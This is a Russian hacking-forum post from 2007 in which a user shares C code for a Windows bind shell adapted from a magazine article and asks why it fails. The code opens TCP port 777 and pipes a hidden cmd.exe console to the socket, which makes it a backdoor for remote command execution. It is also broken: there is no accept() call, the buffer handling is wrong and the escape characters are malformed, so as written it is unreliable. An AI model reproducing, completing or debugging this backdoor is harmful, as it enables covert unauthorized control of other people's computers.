проблема реалезации winshell'a

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by _nic, 21 Feb 2007.

  1. _nic

    _nic Elder - Старейшина

    Joined:
    5 May 2006
    Messages:
    651
    Likes Received:
    54
    Reputations:
    3
    Вот решил дописать пример из этой статьи http://www.xakep.ru//magazine/xs/048/016/1.asp .Получилось вот что:
    Code:
    #include <windows.h> 
    main() 
    { 
    SECURITY_ATTRIBUTES sa; 
    SOCKET s;WSADATA wsaData; 
    sockaddr_in adr; 
    adr.sin_family=AF_INET; 
    adr.sin_port=htons(777); 
    adr.sin_addr.s_addr=INADDR_ANY; 
    HANDLE cstdin,wstdin,rstdin,rstdout,cstdout; 
    LPDWORD fexit;  int MAX_BUF_SIZE=1024;int a; 
    STARTUPINFO si; LPTSTR SHELL="cmd.exe";PROCESS_INFORMATION pi; DWORD N,total; 
    char buf[1]; 
    
    sa.lpSecurityDescriptor = NULL; 
    
    sa.nLength = sizeof(SECURITY_ATTRIBUTES); 
    
    sa.bInheritHandle = TRUE; 
    WSAStartup (MAKEWORD (1,1),&wsaData); 
    s=socket(AF_INET,SOCK_STREAM,0); 
    bind(s,(sockaddr*)&adr,sizeof(adr)); 
    listen(s,3); 
    
    if (!CreatePipe(&cstdin, &wstdin, &sa, 0)) return -1; 
    
    if (!CreatePipe(&rstdout, &cstdout, &sa, 0)) return -1; 
    
    GetStartupInfo(&si); 
    
    si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; 
    
    si.wShowWindow = SW_HIDE; 
    
    si.hStdOutput = cstdout; 
    
    si.hStdError = cstdout; 
    
    si.hStdInput = cstdin; 
    
    if (!CreateProcess(0, SHELL, 0, 0, TRUE, CREATE_NEW_CONSOLE, 0,0,&si,&pi)) return -1; 
    
    GetExitCodeProcess(pi.hProcess,(LPDWORD)&fexit); 
    while (fexit == (LPDWORD)STILL_ACTIVE) 
    
    { 
    
    if (PeekNamedPipe(rstdout, buf, 1, &N, &total, 0) && N) 
    
    { 
    
    
    for (  a = 0; a < total; a +=  MAX_BUF_SIZE) 
    
    { 
    
    ReadFile(rstdout, buf, MAX_BUF_SIZE, &N, 0); 
    
    send(s, buf, N, 0); 
    
    } 
    
    } 
    
    
    if (!ioctlsocket(s, FIONREAD , &N) && N) 
    
    { 
    
    
    recv(s, buf, 1, 0); 
    
    if (*buf == 'x0A') WriteFile(wstdin, "x0D", 1, &N, 0); 
    
    WriteFile(wstdin, buf, 1, &N, 0); 
    
    } 
    
    
    Sleep(1); 
    
    } 
    }
    
    Только вот и получилась ещё куча проблем
    1.Цикл while какой то непонятный ,вроде бы GetExitCodeProcess должен быть в теле цикла ,но если он там то программа завершается раньше запущенного cmd(то есть мгновенно)
    2.Хоть и при запуске порт открывается cmd запускается и можно через телнет подключится к тому порту но такой шелл абсолютно не реагирует ни на какие команды(возможно все таки из за кривого while?)